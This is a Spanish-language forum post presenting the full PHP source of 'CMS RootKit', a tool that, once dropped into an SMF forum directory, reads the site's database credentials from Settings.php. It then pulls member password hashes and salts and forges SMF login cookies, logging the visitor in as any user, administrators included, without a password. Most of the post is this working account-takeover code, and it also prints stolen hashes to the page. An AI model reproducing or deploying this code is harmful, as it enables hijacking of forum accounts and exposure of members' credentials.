CMS RootKit by WHK

Iniciado por WHK, 8 Diciembre 2007, 02:00 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Hola, estoy creando un sistema en PHP que se basa en la administración de sistemas CMS, la idea es poder aprender de cada uno... smf, wordpress, etc.

Por ejemplo con tan solo visualizarlo en un directorio de smf podras iniciar seción como cualquier usuario sin la necesidad del password entendiendo la estructura de la cookie, tambien quiero hacerlo para wordpress entre otras cosas mas.

Hice la pagina pero quiero subirla como pagina demostrativa en http://lab.jccharry.com/ pero para eso necesito verificar bien que no tenga alguna vulnerabilidad como por ejemplo alguna inyección sql ya que se basa en consultas a la base de datos. De todas formas lo haré en una cuenta aparte sin derechos de sobreescribir nada ni de leer otras bases de datos pero prefiero evitar antes que lamentar.

Código (php) [Seleccionar]
<?php

#################################################
# Archivo  : rk.php #
# Nombre  : CMS RootKit #
# Version : 2.3 Beta     #
# Autor   : WHK          #
# Sistemas CMS soportados : SMF 1.1.4 #
#################################################

// Declaraciones, variables y constantes ============================================
$rk_path_smf "./Settings.php";
$rk_path_wordpress "./wp-config.php";
$rk_cms  rk_filtro($_GET["CMS"]);
$rk_id rk_filtro($_GET["id"]);
// $rk_tipo_user = rk_filtro($_GET["tipo_user"]);
$rk_username rk_filtro($_GET["username"]);
$rk_cookiename urlencode($_GET["cookiename"]);
$rk_id_MEMBER rk_filtro($_GET["ID_MEMBER"]);
$rk_id_GROUP rk_filtro($_GET["ID_GROUP"]);
$rk_passwd rk_filtro($_GET["passwd"]);
$rk_passwordSalt rk_filtro($_GET["passwordSalt"]);
$rk_header "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">
<html>
<head>
<title>CMS RootKit by WHK</title>
</head>
<body style=\"color: rgb(255, 255, 255); background-color: rgb(102, 0, 0);\" alink=\"white\" link=\"white\" vlink=\"white\">\n<div style=\"text-align: center;\">
<big>
<span style=\"font-weight: bold;\"><a href=\"?\">CMS RootKit by WHK</a></span>
</big><br />
</div><br /><br />
<table style=\"text-align: center; width: 100%; font-weight: bold;\" border=\"0\">
<tbody>
<tr>
<td>Herramientas</td>
</tr>
</tbody>
</table>
<table style=\"text-align: center; width: 100%;\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\">
<tbody>
<tr>
<td><a href=\"?CMS=crear\">Crear cookie</a></td>
</tr>
</tbody>
</table>
<br /><br />"
;
$rk_footer "</body>
</html>"
;
$rk_consola_a "<span style=\"font-style: italic; font-weight: bold;\">Debugger</span><br />
<table style=\"text-align: left; width: 100%; color: rgb(51, 255, 51);\" border=\"2\" cellpadding=\"0\" cellspacing=\"0\">
<tbody>
<tr>
<td style=\"background-color: rgb(0, 0, 0);\">\n"
;
$rk_consola_b "</td>
</tr>
</tbody>
</table>\n"
;
$rk_contenido_1 "<br /><br />
<span style=\"font-weight: bold;\"> Haz click sobre el sistema CMS que deseas administrar.</span>\n"
;
$rk_contenido_2 "<span style=\"font-weight: bold;\">Ingrese el nombre de usuario registrado para iniciar seci&oacute;n, o si 
lo prefieres puedes ingresar &uacute;nicamente el numero de usuario registrado.
(No se requiere password).<br /><br />
</span>
<form method=\"get\">
<input name=\"CMS\" value=\"SMF\" type=\"hidden\">
<table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
<tbody>
<tr>
<td>Username:&nbsp;</td>
<td><input name=\"username\" type=\"text\"></td>
<td><input value=\"Ingresar\" type=\"submit\"></td>
</tr>
</form>
<form method=\"get\">
<input name=\"CMS\" value=\"SMF\" type=\"hidden\">
<tr>
<td>Id N&ordm;:&nbsp;</td>
<td><input name=\"id\" type=\"text\"></td>
<td><input value=\"Ingresar\" type=\"submit\"></td>
</tr>
</tbody>
</table>
</form>\n"
;
$rk_error_1 "Falta cookiename";
$rk_error_2 "Falta ID_MEMBER";
$rk_error_3 "Falta passwd";
$rk_error_4 "Falta passwordSalt";
$rk_error_5 "Falta ID_GROUP";
$rk_comando_0 "root@system:~$ <br />\n";
$rk_comando_1 "root@system:~$ rk&nbsp;-cms verificar<br />\n";
$rk_comando_2 "root@system:~$ rk&nbsp;-cms $rk_cms<br />\n";
$rk_comando_3 "root@system:~$ rk&nbsp;-cms $rk_cms -username $rk_username<br />\n";
$rk_comando_4 "root@system:~$ rk&nbsp;-cms $rk_cms -cookiename $rk_cookiename -ID_MEMBER $rk_id_MEMBER -passwd *** -passwordSalt $rk_passwordSalt<br />\n";
// ==================================================================================

// Funciónes ========================================================================
// Filtro ---------------------------------------------------------------------------
function rk_filtro($rk_input){
 
$rk_referer htmlspecialchars($_SERVER['HTTP_REFERER']);
 
$rk_filtro = array("`""´"'"'"<"">"";""'""%60""%C2%B4""%22""%3E""%3C","%27""%25""%");
 for (
$rk_i=0$rk_i count($rk_filtro) ; $rk_i++) {
  if(
eregi($rk_filtro[$rk_i],$rk_input)) { 
 echo 
"<center>Por razones de seguridad no puede mostrarse la p&aacute;gina debido a que has ingresado<br />
uno o mas caracteres prohibidos ("
.htmlspecialchars($rk_filtro[$rk_i]).") dentro de alg&uacute;n campo.<br /><br />
<a href=\"
$rk_referer\">Buelva a intentarlo por favor</a>.</center>\n";
   exit(
1);
  }
 }
return 
mysql_escape_string(htmlspecialchars($rk_inputENT_QUOTES));
}
// ----------------------------------------------------------------------------------

// Verificación de sistemas CMS -----------------------------------------------------
function rk_verificar($rk_vcms$rk_path){
 if (
file_exists($rk_path)) {
  
rk_consola("Se ha detectado un sistema <a style=\"color: rgb(51, 255, 51);\" href=\"?CMS=$rk_vcms\">$rk_vcms</a> en este directorio.");
  return 
false;
 } else {
  return 
true;
 }
}
// ----------------------------------------------------------------------------------

// Mensaje de error -----------------------------------------------------------------
function rk_error($rk_ferror){
 echo 
"<font style='color: red'>[!] $rk_ferror</font><br />\n";
 return 
true;
}
// ----------------------------------------------------------------------------------

// Mensaje rojo ---------------------------------------------------------------------
function rk_msg_rojo($rk_fcolor){
 echo 
"<span style=\"font-weight: bold; color: rgb(204, 0, 0);\">$rk_fcolor</span>";
}
// ----------------------------------------------------------------------------------

// Mensaje verde --------------------------------------------------------------------
function rk_msg_verde($rk_fcolor){
 echo 
"<span style=\"font-weight: bold; color: rgb(0, 153, 0);\">$rk_fcolor</span>";
}
// ----------------------------------------------------------------------------------

// Mensaje multicolor ---------------------------------------------------------------
function rk_msg_multicolor($rk_fcolor$verificar){
 if(
$verificar == "1"){
  
rk_msg_rojo($rk_fcolor);
 } else {
  
rk_msg_verde($rk_fcolor);
 }
}
// ----------------------------------------------------------------------------------

// Mensaje de consola ---------------------------------------------------------------
function rk_consola($rk_fconsola){
 echo 
"[*] $rk_fconsola<br />\n";
}
// ----------------------------------------------------------------------------------
// ==================================================================================

// Inicio ===========================================================================
if($rk_cms == ""){
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_1;
 
rk_consola("Verificando sistemas CMS ...");

// Verificando sistemas CMS... -----------------------------------------------------
 
if (!rk_verificar("SMF"$rk_path_smf)) {
  
$rk_b "1";
 }

 if (!
rk_verificar("Wordpress"$rk_path_wordpress)) {
  
$rk_b "1";
 }
// ----------------------------------------------------------------------------------

 
if ($rk_b != "1") {
  
rk_error("No se ha detectado ning&uacute;n sistema CMS.<br />\n");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
  exit(
1);
 } else {
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_contenido_1;
  echo 
$rk_footer;
  exit(
0);
 }
}
// ==================================================================================

// Crear cookie =====================================================================
$rk_e "1";
if(
$rk_cms == "crear") {
if (
$rk_cookiename == "") { $rk_f1 "1"  $rk_e++ ; }
if (
$rk_id_MEMBER == "") { $rk_f2 "1"  $rk_e++ ; }
if (
$rk_passwd == "") { $rk_f3 "1"  $rk_e++ ; }
if (
$rk_passwordSalt == "") { $rk_f4 "1"  $rk_e++ ; }
if (
$rk_id_GROUP == "") { $rk_f5 "1"  $rk_e++ ; }
if (
$rk_e == "6") {
 echo 
$rk_header;
 echo 
"<span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
<form method=\"get\">
<table style=\"text-align: left; width: 100%;\" border=\"1\"
 cellpadding=\"1\" cellspacing=\"0\">
  <tbody>
    <tr>
      <td>
      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
        <tbody>
          <tr>
            <td>cookiename:&nbsp;</td>
            <td><input name=\"cookiename\" type=\"text\"></td>
          </tr>
          <tr>
            <td>ID_MEMBER:&nbsp;</td>
            <td><input name=\"ID_MEMBER\" type=\"text\"></td>
          </tr>
          <tr>
            <td>Passwd (HASH):&nbsp;</td>
            <td><input name=\"passwd\" type=\"text\"></td>
          </tr>
          <tr>
            <td>passwordSalt:&nbsp;</td>
            <td><input name=\"passwordSalt\" type=\"text\"></td>
          </tr>
          <tr>
            <td>ID_GROUP:&nbsp;</td>
            <td><input name=\"ID_GROUP\" type=\"text\"></td>
            <td><input value=\"Generar cookie\" type=\"submit\"></td>
          </tr>
        </tbody>
      </table>
      </td>
    </tr>
  </tbody>
</table>
</form>
<br />
Ingresa los siguientes datos para generar tu cookie."
;
 echo 
$rk_footer;
} else {
if (
$rk_e  >= "2") { 
 echo 
"$rk_header $rk_consola_a $rk_comando_4";
 if (
$rk_f1 == "1") { rk_error("$rk_error_1"); }
 if (
$rk_f2 == "1") { rk_error("$rk_error_2"); }
 if (
$rk_f3 == "1") { rk_error("$rk_error_3"); }
 if (
$rk_f4 == "1") { rk_error("$rk_error_4"); }
 if (
$rk_f5 == "1") { rk_error("$rk_error_5"); }
 echo 
"<br />$rk_comando_0\n$rk_consola_b ";
 echo 
"<br /><span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
<form method=\"get\">
<table style=\"text-align: left; width: 100%;\" border=\"1\"
 cellpadding=\"1\" cellspacing=\"0\">
  <tbody>
    <tr>
      <td>
      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
        <tbody>
          <tr>
            <td>"
;rk_msg_multicolor("cookiename:"$rk_f1);echo"&nbsp;</td>
            <td><input name=\"cookiename\" type=\"text\" value=\"
$rk_cookiename\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("ID_MEMBER:"$rk_f2);echo"&nbsp;</td>
            <td><input name=\"ID_MEMBER\" type=\"text\" value=\"
$rk_id_MEMBER\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("Passwd (HASH):"$rk_f3);echo"&nbsp;</td>
            <td><input name=\"passwd\" type=\"text\" value=\"
$rk_passwd\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("passwordSalt:"$rk_f4);echo"&nbsp;</td>
            <td><input name=\"passwordSalt\" type=\"text\" value=\"
$rk_passwordSalt\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("ID_GROUP:"$rk_f5);echo"&nbsp;</td>
            <td><input name=\"ID_GROUP\" type=\"text\" value=\"
$rk_id_GROUP\"></td>
            <td><input value=\"Generar cookie\" type=\"submit\"></td>
          </tr>
        </tbody>
      </table>
      </td>
    </tr>
  </tbody>
</table>
</form>
<br />
Ingresa los siguientes datos para generar tu cookie."
;
 echo 
$rk_footer;
}

if (
$rk_e == "1") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_4;
 if(
$rk_id_GROUP == "1") {
  
// Administrador
  
rk_consola("Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  echo 
"[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  
rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_id_MEMBER\";i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
 }
 if(
$rk_id_GROUP == "0") {
  
// Usuario
  
rk_consola("Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  echo 
"[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  
rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;i:$rk_id_MEMBER;i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
 }
}
}
}
// ==================================================================================

// SMF ==============================================================================
if($rk_cms == "SMF") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 if(
$rk_username != ""){
  echo 
$rk_comando_3;
 } else {
  echo 
$rk_comando_2;
 }
// Verificando la existencia de SMF -------------------------------------------------
 
rk_consola("Verificando sistema SMF...");
 if (
file_exists($rk_path_smf)) {
  
define("SMF"1);
  include(
$rk_path_smf);
 
rk_consola("Verifici&oacute;n satisfactoria.");
 } else { 
  
rk_error("No existe el sistema CMS en este directorio.");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
  exit(
1);
 }

// Definiendo conexión SQL ---------------------------------------------------------
 
define (SERVER$db_server);
 
define (USER $db_user);
 
define (PASS $db_passwd);
 
define (DB,    $db_name);
// ----------------------------------------------------------------------------------------

// Función de la consulta SQL -------------------------------------------------------
function rk_db_query($rk_sql){
 if (!
$rk_conectar = @mysql_pconnect(SERVERUSERPASS)){
  
rk_error("Error en la conecci&oacute;n.");
  return 
false
 }
 if (!@
mysql_select_db(DB,$rk_conectar) ){
  
rk_error("Error al seleccionar la base de datos.");
  return 
false;
 }
 if (!
$rk_query = @mysql_query($rk_sql,$rk_conectar) ){
  
rk_error("Error al efectuar la busqueda.");
  return 
false
 }
 return 
$rk_query
}

// Verificando ID_MEMBER y memberName ------------------------------------------------
 
$rk_consulta2 "SELECT ID_MEMBER FROM `".$db_prefix."members`";
 if (
$rk_id != "") {
  
$rk_consulta "SELECT * FROM `".$db_prefix."members` WHERE ID_MEMBER = $rk_id";
  
$c_ "1";
 }

 if (
$c_ != "1") {
  if (
$rk_username != "") {
   
$rk_consulta "SELECT * FROM `".$db_prefix."members` WHERE `memberName` LIKE CONVERT(_utf8 '$rk_username' USING latin1) COLLATE latin1_swedish_ci";
  }
 }

// Buscando usuario ------------------------------------------------------------------
 
rk_consola("Conectando...");
 if((
$rk_username == "") and ($rk_id == "")){
  if (
$rk_query rk_db_query($rk_consulta2)){
   
$rk_whk "1";
   while (
$rk_row mysql_fetch_row($rk_query)){
    foreach (
$rk_row as $rk_out)
     
$rk_whk++;
   }
   
$rk_whk_out $rk_whk 1;
   
rk_consola("Conecci&oacute;n satisfactoria.");
  }
  
rk_consola("Numero de usuarios registrados: $rk_whk_out");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_contenido_2;
  echo 
$rk_footer;
  exit(
0); 

 } else {
  if (
$rk_query rk_db_query($rk_consulta)){
   
rk_consola("Conecci&oacute;n satisfactoria.");
   if (
$c_ == "1") {
    
rk_consola("Buscando usuario N&ordm;$rk_id ...");
   } else {
    
rk_consola("Buscando usuario $rk_username...");
   }
   
$rk_whk 1;
   while (
$rk_row mysql_fetch_row($rk_query)){
    foreach (
$rk_row as $rk_out){
     if (
$rk_whk == "1" ){ $rk_idMEMBER_out  $rk_out; }
     if (
$rk_whk == "2" ){ $rk_usernameout  $rk_out; }
     if (
$rk_whk == "5" ){ $rk_idGROUP_out  $rk_out; }
     if (
$rk_whk == "14"){ $rk_passwd_out  $rk_out; }
     if (
$rk_whk == "52"){ $rk_passwordSalt_out $rk_out; }
     
$rk_whk++;
    }
   }
  }
 }

// Aplicando cookie ------------------------------------------------------------------
 
if($rk_idGROUP_out == "1") {
  
// Administrador
  
rk_consola("Usuario encontrado. Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  echo 
"[!] Username: $rk_usernameout<br />\n";
  echo 
"[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd_out<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  echo 
"[!] ID_GROUP: $rk_idGROUP_out (Administrador)</font><br />\n";
  echo 
"<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_idMEMBER_out\";i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  
rk_consola("Cookie aplicada.");
 }
 if(
$rk_idGROUP_out == "0") {
  
// Usuario
  
rk_consola("Usuario encontrado. Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  echo 
"[!] Username: $rk_usernameout<br />\n";
  echo 
"[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd_out<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  echo 
"[!] ID_GROUP: $rk_idGROUP_out (Usuario)</font><br />\n";
  echo 
"<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;i:$rk_idMEMBER_out;i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  
rk_consola("Cookie aplicada.");
 }
 if(
$rk_idGROUP_out == "") {
  
// Ninguno
  
rk_error("Usuario inexistente.<br />\n");
 }
echo 
"<br />$rk_comando_0\n";
echo 
$rk_consola_b;
echo 
$rk_contenido_2;
echo 
$rk_footer;

// ----------------------------------------------------------------------------------
// ==================================================================================

// Wordpress ========================================================================
if($rk_cms == "Wordpress") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_2;
 
rk_error("En construcci&oacute;n.");
 echo 
"<br />$rk_comando_0\n";
 echo 
$rk_consola_b;
 echo 
$rk_footer;
}
// ==================================================================================

?>



Acá les dejo el avance del sistema, si alguien ve alguna falla antes de subirlo porfavor que me lo pueda decir.
todavía no está 100% terminado pero si operativo.
Una copia del código lo dejé acá:
http://foro.jccharry.com/index.php?topic=42.0
donde explico el fin de este archivo.